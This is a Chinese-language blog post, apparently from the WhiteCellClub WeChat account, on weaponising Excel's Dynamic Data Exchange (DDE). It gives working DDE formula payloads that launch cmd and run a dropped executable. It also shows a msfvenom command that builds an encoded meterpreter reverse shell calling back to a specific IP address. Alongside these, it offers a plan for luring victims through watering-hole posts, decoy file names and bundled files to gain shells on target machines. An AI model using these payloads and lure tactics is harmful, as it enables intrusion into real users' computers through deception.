DDE(动态数据交换)利用思路
思路由looze和wenson日常讨论产生,文档编制by looze
1、什么是DDE?
(来源:wiki百科)
动态数据交换(Dynamic Data Exchange,简称DDE),是一种在Microsoft Windows或OS/2操作系统中运作进程间通信的技术。最早于1987年推出的Windows 2.0使用,它可以用来协调操作系统的应用程序之间的数据交换及命令调用,有点类似于SUN公司的远程过程调用(Remote Procedure Call,RPC)。DDE主要传递的数据流通常是不需要用户经常干涉的,它所提供的是一种更集成的工作环境。DDE可以允许Windows应用程序共享数据,例如,Microsoft Excel(电子表格)中的单元格在另一个挂载的应用程序中的数值发生改变时,Excel会自动做出更新。
2、DDE巧妙运用
生成exp方式一:新建excel表格(后缀为.xls的低版本格式,新版本中已不存在该问题,但由于新版本向下兼容,因此不影响使用),第一格输入=cmd|' /C calc'!A0 ,保存为test.xls
生成exp方式二:
cmd下运行echo "=cmd|'/c d:testtmptmp.exe'!A0" >d:testtmptest.xls
运行test.xls
如上图,在点击“是”后,成功弹出了计算器,大家可能发现上图的交互中,提示要运行cmd.exe,但总会有人粗心或者患有“字多懒得看综合症”,如果我们采用广撒网的方式,总有那么几个人会中招,因此还是存在很大的利用可行性。
3、利用思路
根据它的特性,我们可以借鉴水坑攻击手法和DDE获取目标服务器权限,利用场景假设:有一个目标网站,我们通过正常发布携带excel附件(附件可以是精心构造开远程3389加用户什么的)的文章,诱导用户下载打开(怎么猥琐的诱导,相信大家比我更有办法)。
我们也可以结合现有渗透成果进行进一步扩大战果,例如,某web已getshell,但没办法提权,我们可以通过上传exp和诱导用户打开我们构造的excel文件进行执行。
我们也可以直接捆绑文件,这个更隐蔽,用户直接打开就可以反弹一个shell。
4、实验环节
用msfvenom生成反弹shell
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b 'x00' lhost=104.251.224.221 lport=4444 -f exe >/home/tmp.exe
构造excel表格
上传tmp.exe和test.xls到目标服务器
诱导用户打开xls文件,方式可以是重命名为常用的必要excel文件,如领导联系方式.xls、本周任务.xls等等。。。
打开xls后,会提示:
这个90%的人会选是,不然打不开表格
这个就有点悬了,毕竟安全警告就已经很明显了,但是还是会有少部分用户选启用,毕竟他们看不出到底哪里有问题。。。
这个已经明确提示说要启用cmd.exe了,这个有点经验的人都会觉得有问题了,但还是会有那么一丢丢人不看的(原谅我是个理想主义者,普通用户懂个鬼~~),一旦选择是,那后面的就不重要了。
因为shell已经弹回来了,就算他关掉表格也没用了。
我们也可以试验下捆绑方式:
也成功了。
假想案例到这里结束。。
利用的思路有很多,就不一一列出来了,虽然存在着很多局限性,但有时候广撒网,以及结合着其他手段,成功的几率还是很大的。
最后期待各位大牛提供更好的思路,或者能解决上述存在局限性问题的,烦请告知~~
hacked by looze and wenson
版权声明:该科普文章属于WhiteCellClub首发,转载须申明!
本文始发于微信公众号(WhiteCellClub):关于DDE的利用的那些事-DDE(动态数据交换)利用思路
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论